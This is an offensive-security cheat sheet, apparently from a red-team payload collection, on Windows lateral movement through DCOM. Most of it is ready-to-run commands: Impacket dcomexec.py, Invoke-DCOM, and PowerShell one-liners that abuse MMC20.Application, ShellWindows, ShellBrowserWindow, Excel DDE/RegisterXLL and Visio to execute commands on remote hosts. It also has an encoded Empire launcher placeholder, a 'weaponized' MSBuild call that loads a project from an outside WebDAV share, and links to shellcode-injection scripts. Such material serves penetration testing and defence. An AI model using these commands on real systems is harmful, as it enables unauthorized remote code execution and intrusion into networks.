# Internal - DCOM > DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer. * Impacket DCOMExec.py ```ps1 dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...] dcomexec.py -share C$ -object MMC20 '/:@' dcomexec.py -share C$ -object MMC20 '/:@' 'ipconfig' python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe' # -object MMC20 specifies that we wish to instantiate the MMC20.Application object. # -silentcommand executes the command without attempting to retrieve the output. ``` * CheeseTools - https://github.com/klezVirus/CheeseTools ```powershell # https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/ -t, --target=VALUE Target Machine -b, --binary=VALUE Binary: powershell.exe -a, --args=VALUE Arguments: -enc -m, --method=VALUE Methods: MMC20Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro -r, --reg, --registry Enable registry manipulation -h, -?, --help Show Help Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro. ``` * Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1 ```powershell Import-Module .\Invoke-DCOM.ps1 Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService" Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe" Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe" ``` ## DCOM via MMC Application Class This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**. ```ps1 PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")) PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7) PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7") # Weaponized example with MSBuild PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7") ``` Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1 ## DCOM via Office * Excel.Application * DDEInitiate * RegisterXLL * Outlook.Application * CreateObject->Shell.Application->ShellExecute * CreateObject->ScriptControl (office-32bit only) * Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window) * Addons * ExecuteLine * Word.Application * RunAutoMacro ```ps1 # Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9 Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a # Using Excel DDE PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) PS C:\> $excel.DisplayAlerts = $false PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe") # Using Excel RegisterXLL # Can't be used reliably with a remote target Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1 PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) PS> $excel.RegisterXLL("EvilXLL.dll") # Using Visio $visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName")) $visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc") ``` ## DCOM via ShellExecute ```ps1 $com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) ``` ## DCOM via ShellBrowserWindow :warning: Windows 10 only, the object doesn't exists in Windows 7 ```ps1 $com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1") $obj = [System.Activator]::CreateInstance($com) $obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0) ``` ## References * [Lateral movement via dcom: round 2 - enigma0x3 - January 23, 2017](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/) * [New lateral movement techniques abuse DCOM technology - Philip Tsukerman - Jan 25, 2018](https://www.cybereason.com/blog/dcom-lateral-movement-techniques)